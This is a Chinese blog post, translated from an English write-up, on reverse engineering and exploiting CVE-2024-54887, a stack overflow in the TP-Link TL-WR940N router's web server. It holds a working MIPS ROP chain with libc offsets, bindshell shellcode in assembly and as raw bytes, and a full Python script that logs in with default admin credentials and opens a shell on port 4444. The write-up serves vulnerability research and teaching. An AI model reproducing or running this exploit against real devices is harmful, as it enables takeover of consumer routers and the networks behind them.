【CVE-2024–54887】TP-Link路由器的逆向、发现与利用

文摘   2025-01-14 00:00   上海  

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。


文章原文:https://gugesay.com/archives/3833

不想错过任何消息?设置星标↓ ↓ ↓



目录




漏洞挖掘

选择目标

选择 TP-Link 有两个原因:他们的固件相对容易模拟,另外就是手中刚好有一台 TP-Link TL-WR940N 路由器。

设置开发环境超出了本文的范畴,为了简单起见,建议使用 Ubuntu 虚拟机并利用 Firmadyne 来模拟该设备。

可以在所选制造商的网站上找到并下载大量路由器固件,Firmadyne 可以在 QEMU 中有效地解压和模拟这些固件。

https://github.com/firmadyne/firmadyne

静态分析

模拟固件后,我们需要挂载设备的文件系统,Firmadyne 为此提供了一个实用程序,安装文件系统后,我们可以运行checksec并将 httpd 守护进程加载到我们的逆向工程框架中由于 IDA Pro 的商用问题,本文主要使用 Ghidra。

可以看到没有 NX 和 PIE 的保护,这对于漏洞研究来说是一个“好兆头”。

缓冲区溢出漏洞分析基本原理:首先使用网页中的每项功能,检查它发出的 Web 请求,然后在 Ghidra 中搜索 URL 和参数字符串,这样就可以有效地将调用 Web 请求与后端的功能关联起来。

配置 DDNS 向 NoipDddnsRpm.htm 端点发送带有 4 个参数的请求:

然后可以用来快速识别到后端的功能。

在充分了解哪些请求调用哪些函数之后,我们可以搜索 C 中已知的不安全函数调用,如strcpy() 、 gets() 、 printf() 、 strcat()等函数的调用,经过不断地手动挖掘,成功找到一个支持 IPv6 处理隧道的函数。

它多次调用strcpy() ,其中大多数都会在复制之前执行某种形式的字符串长度验证,但是有两个参数在将其复制到内存之前,长度未经过验证

dnsserver1dnsserver2 参数允许选择路由器默认使用的 IPv6 DNS 服务器,并且在复制到内存之前似乎都没有检查其长度,根据初步观察,这里可能存在堆栈缓冲区溢出漏洞

确定可能性

到目前为止,我们发现了一个看似堆栈缓冲区溢出的漏洞,那么该漏洞可以通过覆盖返回地址导致拒绝服务以及潜在的任意远程代码执行。

根据静态分析,目标字符缓冲区只有 45 字节长,因此大于 45 字节的请求应该开始覆盖内存的其它区域。

发送带有 1000 个 A 作为 dnsserver1 值的请求永远不会返回响应,检查远程调试会话,我们获得以下信息:

不仅下一条指令被覆盖,所有保存的寄存器($s0-$s7)也被覆盖,这就表明我们不仅可以使程序崩溃,还可以控制执行流。

确定溢出点

现在知道寄存器可以被覆盖,那么我们需要确定它们在溢出中的位置,通过使用msf-pattern_create创建一个 1000 个字符的模式并将其发送到服务器,我们最终得到以下结果:

通过msf-pattern_offset 计算 ,可以确定每个寄存器的偏移量,从而方便确定缓冲区中的哪个地方被覆盖:

s0 - 8At9 - 596 
s1 - Au0A - 600  
s2 - u1Au - 604  
s3 - 2Au3 - 608  
s4 - Au4A - 612  
s5 - u5Au - 616  
s6 - 6Au7 - 620  
s7 - Au8A - 624  

pc - 0Av1 - 632  
ra - 0Av1 - 632  

sp - Av2a - 636

ROP

既然可以控制寄存器和执行流程,这就为面向返回编程(ROP)打开了大门,我们可以将 ShellCode 加载到内存中,然后将执行流程控制并跳转到 ShellCode(稍微学过Pwn的童鞋们应该都不陌生)。

为 MIPS Linux 编写 ROP 漏洞利用有一些 x86 漏洞利用所没有的独特考虑因素,它不像硬编码跳转到堆栈上的位置那么直接,其中最主要的问题是:

  • 缓存不一致
  • 延迟指令

    缓存不一致

Lyon Yang 简洁地总结了缓存不一致性:


如果 Shell-Code 具有自修改元素(例如错误字符的编码器),就会出现此问题。当解码器运行时,解码的指令最终会出现在数据缓存中(并且不会写回内存),但是当执行到达 ShellCode 的解码部分时,处理器将从指令缓存中获取旧的、仍在编码的指令。

简而言之就是,当 Shellcode 被解码时,缓存中存在的内容与内存中存在的内容之间存在差异。

当进程尝试执行解码后的 ShellCode 时,它将尝试从指令缓存中获取旧的编码 ShellCode。为了解决这个问题,我们需要清除缓存,这需要调用阻塞函数。当调用阻塞函数时,它就会刷新缓存。

本文后面编写的 ShellCode 未进行编码,并且不太可能受到缓存不一致的影响。然而如果在漏洞利用程序中加入sleep函数,则可以开发和使用范围更广的 ShellCode。

延迟指令

MIPS 的一个重要特征是延迟指令的使用,当执行跳转指令时,处理器会在跳转后立即执行该指令,然后再进行跳转。

因此,在选择gadget时,我们需要确保延迟指令不会影响后续gadget中用于存储值、地址或其他数据的寄存器。

Gadget 利用链

现在我们知道需要执行两个不同的调用:调用 sleep 和跳转到 shellcode。sleep 调用需要一个存储在 $a0 中的参数来确定它应该休眠多长时间,在伪代码中,利用链看起来像下面这样:

  • Gadget 1:在 $a0 中存储一个小型整数,然后跳转到Gadget 2
  • Gadget2:跳转然后执行 sleep,返回执行到Gadget 2,然后跳转到Gadget 3,Gadget 2 包含两个单独的跳转,以简化控制流程并确保在调用 sleep 后,可以保持控制并转到我们的 ShellCode
  • Gadget3:获取指向 ShellCode 的指针,并将该指针保存到寄存器,然后跳转到Gadget 4
  • Gadget4:跳转到在Gadget 3 中保存的寄存器并执行 ShellCode

一图胜千言:

寻找Gadget及排除故障

对于Gadget,自动化可以帮助我们完成 90% 的工作, GrayHatAcademy 提供了一套很棒的 Ghidra 扩展,可此处获取。

我们主要关注MipsRopShellcode.py

MIPS 二进制文件通常使用不同版本的 LibC,称为 LibuClibc。

在 Ghidra 中打开此文件并在其上运行MipsRopShellcode ,我们将获得以下 Gadget 链:

******************************  
Chain 1 of 1 (15 instructions)  
******************************  
Load Immediate to a0  
--------------------  
000602e0 : move t9,s0  
000602e4 : jalr t9  
000602e8 : _li a0,0x3  

Call sleep and maintain control  
-------------------------------  
000484fc : move t9,s3  
00048500 : jalr t9  
00048504 : _move a0,s0 <-- Problematic overwrite of the sleep argument  
00048508 : move t9,s4  
0004850c : jalr t9  
00048510 : _move a0,s0  

Shellcode finder  
----------------  
0003459c : move t9,s1  
000345a0 : jalr t9  
000345a4 : _addiu s0,sp,0x28 -> 40 bytes higher than the stack pointer  

Call shellcode  
--------------  
000254d8 : move t9,s0  
000254dc : jalr t9  
000254e0 : _move a0,s5

然而,这里有一个关键问题:Gadget 2 中的延迟指令,你会注意到Gadget 1 将 3 移动到 $a0,然后跳转到Gadget 2。

然而,Gadget 2 第一次跳转之前的延迟指令将 $s0 中的值移动到 $a0,覆盖了我们在Gadget 1 中所做的事情。

由于 $s0 被我们的 ShellCode 覆盖并且是 4 字节长,因此程序将把它视为 4 字节整数,然后使用它作为休眠值,这将造成非常不合理的长时间休眠。

这显然是不可取的,然而,Gadget 2 看起来仍然具有我们需要的控制流功能。

解决方案很简单:我们不要将一个小整数加载到 gadget 1 的 $a0 中,而是将一个小整数移动到 $s0 中,然后跳转到 gadget 2。这样,Gadget 2 就会将小整数从 $s0 加载到 $a0 中,从而跳转到正确的休眠状态。

经过一番挖掘,我们可以找到了一个合适的Gadget:

该Gadget 将 2 移入 $s0,然后跳转到 $s5 中保存的寄存器,并且没有延迟指令问题。

最后,如果想要找到库中休眠的偏移量,可以在 Ghidra 的 sleep 符号树中搜索,可以发现它位于0x63ca0 。

Gadget 最终版

修正后的 Gadget 利用链如下所示:

Load Immediate to s0  
--------------------  
0003680c : addiu s0, $zero, 2  
00036810 : move $t9, $s5  
00036814 : jalr $t9  

Call sleep and maintain control  
-------------------------------  
000484fc : move t9,s3  
00048500 : jalr t9  
00048504 : _move a0,s0  
00048508 : move t9,s4  
0004850c : jalr t9  
00048510 : _move a0,s0  

Shellcode finder  
----------------  
0003459c : move t9,s1  
000345a0 : jalr t9  
000345a4 : _addiu s0,sp,0x28  

Call shellcode  
--------------  
000254d8 : move t9,s0  
000254dc : jalr t9  
000254e0 : _move a0,s5

在知道了每次跳转使用哪些寄存器后,我们也就知道了 Gadget 应该放在 ShellCode 的哪个位置,因为我们之前计算过它们的偏移量:

s0 - 596  
s1 - 600 -> Gadget 4  
s2 - 604  
s3 - 608 -> Sleep Address  
s4 - 612 -> Gadget 3  
s5 - 616 -> Gadget 2  
s6 - 620  
s7 - 624  

pc - 632 -> Gadget 1

流程图如下:

处理偏移

大多数物联网设备和路由器在实际设备上并不使用地址空间布局随机化 (ASLR),但 Firmadyne 会在启用 ASLR 的情况下模拟它们。

我们可以通过在启动 http 守护进程之前将以下行添加到已安装驱动器上的/etc/rc.d/rcS文件中来禁用它:

# Disable ASLR  
echo 0 > /proc/sys/kernel/randomize_va_space

在Firmadyne中禁用ASLR后,我们可以通过查看进程的maps来导出基地址:

libuClibc 的基地址可能会有所不同,具体取决于是在初始启动 httpd 进程时还是在重启进程后查看maps。

启动时为0x2aaf8000 ,重新启动时为0x2aae2000 。考虑到这一点,Ghidra 的偏移量与程序库的基地址略有不同。

Ghidra 从 0x1000 开始第一条指令,其中 ropper 从 0x0 开始,因此,上述从 Ghidra 派生的 Gadget 地址实际上比显示的低 0x1000 字节,考虑到这一点,我们可以计算出的每个 Gadget 的偏移量为:

Gadget 1: libc_base + 0x3680c -> Accurately derived from Ropper  
Gadget 2: libc_base + 0x384fc  
Gadget 3: libc_base + 0x2459c  
Gadget 4: libc_base + 0x154d8  
Sleep: libc_base + 0x53ca0

制作ShellCode

用 C 语言编写并用 strace 输出进行注释,我们的 Bindshell 代码如下所示:

#include <sys/socket.h>  
#include <arpa/inet.h>  
#include <unistd.h>  
#include <netinet/in.h>  

voidmain(){
int srvfd;
int clifd;
structsockaddr_in hostaddr;

hostaddr.sin_family = AF_INET;
hostaddr.sin_port =htons(4444);
hostaddr.sin_addr.s_addr = INADDR_ANY;

srvfd =socket(AF_INET, SOCK_STREAM,0);

bind(srvfd,(structsockaddr*)&hostaddr,sizeof(hostaddr));

listen(srvfd,2);

clifd =accept(srvfd,NULL,NULL);

dup2(clifd,0);
dup2(clifd,1);
dup2(clifd,2);

execl("/bin/sh",NULL);
close(srvfd);
}

/*  
strace  

socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3  
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0  
listen(3, 2) = 0  
accept4(3, NULL, NULL, 0) = 4  
dup2(4, 0) = 0  
dup2(4, 1) = 1  
dup2(4, 2) = 2  
execve("/bin/sh", [], 0x5555559251f0 /* 80 vars *\/) = 0  
*/

底部的代码注释说明了我们需要在汇编中重新创建哪些系统调用,我们最终得到:

# socket(2, 2, 0) = srvfd  
li $a0, 2  
li $a1, 2  
li $a2, 0  
li $v0, 0x1057  
syscall  
move $s0, $v0  

# bind(srvfd, {2, htons(0x115c), inet_addr(0x00000000)}, 16)  
move $a0, $s0  
li $t0, 2  
sh $t0, -20($sp)  
li $t0, 0x115c  
sh $t0, -18($sp)  
li $t0, 0x0000  
sh $t0, -16($sp)  
li $t0, 0x0000  
sh $t0, -14($sp)  
addiu $a1, $sp, -20  
li $a2, 16  
li $v0, 0x1049  
syscall  

# listen(h_sock, 2)  
move $a0, $s0  
li $a1, 2  
li $v0, 0x104e  
syscall  

# accept4(h_sock, NULL, NULL, 0)  
move $a0, $s0  
li $a1, 0  
li $a2, 0  
li $a3, 0  
li $v0, 0x1048  
syscall  
move $s1, $v0  

# dup2(c_sock, 0)  
move $a0, $s1  
li $a1, 0  
li $v0, 0xfdf  
syscall  

# dup2(c_sock, 1)  
move $a0, $s1  
li $a1, 1  
li $v0, 0xfdf  
syscall  

# dup2(c_sock, 2)  
move $a0, $s1  
li $a1, 2  
li $v0, 0xfdf  
syscall  

# execve("/bin/sh", ["/bin/sh"], NULL)  

lui $t0, 0x2f62  
addiu $t0, 0x696e  
sw $t0, -20($sp)  
lui $t0, 0x2f73  
addiu $t0, 0x6800  
sw $t0, -16($sp)  
addiu $a0, $sp, -20  

sw $a0, -8($sp)  
sw $zero, -4($sp)  
addiu $a1, $sp, -8  

li $a2, 0  
li $v0, 0xfab  
syscall  

# mips-linux-gnu-as bindshell.asm -o bindshellasm.o  
# mips-linux-gnu-ld bindshellasm.o -o bindshellasm

当然,这些指令中可能有与之相关的坏字符。在开发过程中,发现只有0x00被视为坏字符。在实现一些基本的数学运算以删除坏字符之后,最终的 ShellCode 如下:

# socket(2, 2, 0) = srvfd  
li $t7, -6  
nor $t7, $zero  
addiu $a0, $t7, -3  
addiu $a1, $t7, -3  
addiu $a2, $t7, -5  
li $v0, 0x1057  
syscall 0x40404  
addiu $s0, $v0, 0x1010  

# bind(srvfd, {2, htons(0x115c), inet_addr(0x00000000)}, 16)  
addiu $a0, $s0, -0x1010  
addiu $t0, $t7, -3  
sh $t0, -20($sp)  
li $t0, 0x115c  
sh $t0, -18($sp)  

addiu $t0, $t7, -5  
sh $t0, -16($sp)  
addiu $t0, $t7, -5  
sh $t0, -14($sp)  
addiu $a1, $sp, -20  

li $t2, 0x2121  
xori $a2, $t2, 0x2137  
li $v0, 0x1049  
syscall 0x40404  

# listen(h_sock, 2)  
addiu $a0, $s0, -0x1010  
addiu $a1, $t7, -3  
li $v0, 0x104e  
syscall 0x40404  

# accept4(h_sock, NULL, NULL, 0)  
li $t6, -6  
nor $t6, $zero  
addiu $a0, $s0, -0x1010  
addiu $a1, $t6, -5  
addiu $a2, $t6, -5  
addiu $a3, $t6, -5  
li $v0, 0x1048  
syscall 0x40404  
addiu $s1, $v0, 0x1010  

# dup2(c_sock, 0)  
li $t5, -6  
nor $t5, $zero  
addiu $a0, $s1, -0x1010  
addiu $a1, $t5, -5  
li $v0, 0xfdf  
syscall 0x40404  

# dup2(c_sock, 1)  
addiu $a0, $s1, -0x1010  
addiu $a1, $t5, -4  
li $v0, 0xfdf  
syscall 0x40404  

# dup2(c_sock, 2)  
move $a0, $s1  
addiu $a1, $t5, -3  
li $v0, 0xfdf  
syscall 0x40404  

# execve("/bin/sh", ["/bin/sh"], NULL)  
li $t4, -6  
nor $t4, $zero  
lui $t0, 0x2f62  
addiu $t0, 0x696e  
sw $t0, -20($sp)  
lui $t0, 0x2f73  
addiu $t0, 0x6868  
sw $t0, -16($sp)  
sb $zero, -13($sp)  
addiu $a0, $sp, -20  

sw $a0, -8($sp)  
sw $zero, -4($sp)  
addiu $a1, $sp, -8  

addiu $a2, $t4, -5  
li $v0, 0xfab  
syscall 0x40404  

# mips-linux-gnu-as bindshell.asm -o bindshellasm.o  
# mips-linux-gnu-ld bindshellasm.o -o bindshellasm

最后的利用

至此,我们已经具备了以下所有条件来构建漏洞利用程序并实现远程代码执行:

  • 实现缓冲区溢出的一种方法
  • 能够覆盖多个寄存器和下一条指令
  • 控制执行的 Gadget
  • Gadget 的偏移量
  • 能够正常运行的 ShellCode

    将以上这些整合进 Python 脚本:
#!/usr/bin/python3  

import urllib.parse  
import requests  
import base64  
import hashlib  
import urllib  
import struct  
import argparse  
import itertools  
import sys  
import time  

deflogin(ip, username, pwd):
hash= hashlib.md5(pwd.encode()).hexdigest()
auth = base64.b64encode((username +":"+hash).encode()).decode()

url ="http://"+ ip +"/userRpm/LoginRpm.htm?Save=Save"
print("[+] Sending login request to: "+ url)
headers ={
"Cookie":"Authorization=Basic%20"+ urllib.parse.quote_plus(auth),
"Referer":"http://"+ ip +"/"
}
response = requests.get(url, headers=headers)

random_url = response.text.split("top.location.href='")[0].split("/")[3]
session_url ="http://"+ ip +"/"+ random_url +"/userRpm/"
print("[+] Authenticated successfully! Session URL: "+ session_url)
return(session_url, auth)

defexploit(session_url, auth):
print("[+] Sending exploit to: "+ session_url +"Wan6to4TunnelCfgRpm.htm")
headers ={
"Cookie":"Authorization=Basic%20"+ urllib.parse.quote_plus(auth),
"Referer": session_url +"Wan6to4TunnelCfgRpm.htm"
}
libc_base =0x2aae2000
# 0x2aaf8000 if on first boot, or 0x2aae2000 if httpd has been restarted.  

shellcode =b"\x24\x0f\xff\xfa\x01\xe0\x78\x27\x25\xe4\xff\xfd\x25\xe5\xff\xfd\x25\xe6\xff\xfb\x24\x02\x10\x57\x01\x01\x01\x0c\x24\x50\x10\x10\x26\x04\xef\xf0\x25\xe8\xff\xfd\xa7\xa8\xff\xec\x24\x08\x11\x5c\xa7\xa8\xff\xee\x25\xe8\xff\xfb\xa7\xa8\xff\xf0\x25\xe8\xff\xfb\xa7\xa8\xff\xf2\x27\xa5\xff\xec\x24\x0a\x21\x21\x39\x46\x21\x37\x24\x02\x10\x49\x01\x01\x01\x0c\x26\x04\xef\xf0\x25\xe5\xff\xfd\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0e\xff\xfa\x01\xc0\x70\x27\x26\x04\xef\xf0\x25\xc5\xff\xfb\x25\xc6\xff\xfb\x25\xc7\xff\xfb\x24\x02\x10\x48\x01\x01\x01\x0c\x24\x51\x10\x10\x24\x0d\xff\xfa\x01\xa0\x68\x27\x26\x24\xef\xf0\x25\xa5\xff\xfb\x24\x02\x0f\xdf\x01\x01\x01\x0c\x26\x24\xef\xf0\x25\xa5\xff\xfc\x24\x02\x0f\xdf\x01\x01\x01\x0c\x02\x20\x20\x25\x25\xa5\xff\xfd\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0c\xff\xfa\x01\x80\x60\x27\x3c\x08\x2f\x62\x25\x08\x69\x6e\xaf\xa8\xff\xec\x3c\x08\x2f\x73\x25\x08\x68\x68\xaf\xa8\xff\xf0\xa3\xa0\xff\xf3\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x25\x86\xff\xfb\x24\x02\x0f\xab\x01\x01\x01\x0c"

nop =b'\x27\x70\xc0\x01'

sleep = struct.pack(">I",(libc_base +0x53ca0))

gadget1 = struct.pack(">I",(libc_base +0x3680c))
# addiu $s0, $zero, 2; move $t9, $s5, jalr $t9, nop - Loads 0x2 into $s0  

gadget2 = struct.pack(">I",(libc_base +0x384fc))
# move $t9, $s3; jalr $t9; move $a0, $s0; move $t9, $s4; jalr $t9 - Loads $s0(0x2) into $a0, calls sleep, returns, then jumps to gadget 3  

gadget3 = struct.pack(">I",(libc_base +0x2459c))
# move $t9, $s1; jalr $t9; addiu $s0, $sp,0x28 - Saves start of shellcode 40 chars off start of stack into $s0, jumps to gadget 4  

gadget4 = struct.pack(">I",(libc_base +0x154d8))
# move $t9, $s0; jalrt $t9; move $a0, $s5 - Jumps to start of shellcode  

payload ='A'*596
payload += urllib.parse.quote_from_bytes(nop)# $s0  
payload += urllib.parse.quote_from_bytes(gadget4)# $s1  
payload += urllib.parse.quote_from_bytes(nop)# $s2  
payload += urllib.parse.quote_from_bytes(sleep)# $s3  
payload += urllib.parse.quote_from_bytes(gadget3)# $s4  
payload += urllib.parse.quote_from_bytes(gadget2)# $s5  
payload += urllib.parse.quote_from_bytes(nop)*3# $s6-8  
payload += urllib.parse.quote_from_bytes(gadget1)# $ra  
payload +="B"*40# Padding to shellcode  
payload += urllib.parse.quote_from_bytes(shellcode)

exploit_url = session_url +"Wan6to4TunnelCfgRpm.htm?ipv6Enable=on&wantype=5&enableTunnel=on&mtu=1480&manual=2&dnsserver1="+ payload + \  
"&dnsserver2=2001%3A4860%3A4860%3A%3A8888&ipAssignType=0&ipStart=1000&ipEnd=2000&time=86400&ipPrefixType=0&staticPrefix=&staticPrefixLength=64&Save=Save"
try:
requests.get(exploit_url, headers=headers, timeout=1)
except:
pass

defprint_banner():
banner =r"""  
TP-Link TL-WR940N v3/v4 Authenticated RCE by @joward  
"""

print(banner)

defmain():
print_banner()

parser = argparse.ArgumentParser()
parser.add_argument("-i","--ip",help="The IP address of the router. Required", required=True)
parser.add_argument("-u","--username",help="The username to login with. Default: admin", default="admin")
parser.add_argument("-p","--password",help="The password to login with. Default: admin", default="admin")
args = parser.parse_args()

# Send Exploit  
session_url, auth = login(args.ip, args.username, args.password)
exploit(session_url, auth)
print("[+] Exploit sent! Giving shellcode time to execute...")
spinner = itertools.cycle(['-','/','|','\\'])
t_end = time.time()+8
while time.time()< t_end:
sys.stdout.write(next(spinner))
sys.stdout.flush()
sys.stdout.write('\b')
time.sleep(0.1)
print("[+] Done! Check for a bind shell on port 4444")

if __name__ =="__main__":
main()

以上内容由骨哥翻译并再创作。

原文:https://infosecwriteups.com/reversing-discovering-and-exploiting-a-tp-link-router-vulnerability-cve-2024-54887-341552c4b104

加入星球,随时交流:


(会员统一定价):128元/年

感谢阅读,如果觉得还不错的话,欢迎分享给更多喜爱的朋友~

====正文结束====

骨哥说事
一个喜爱鼓捣的技术宅
 最新文章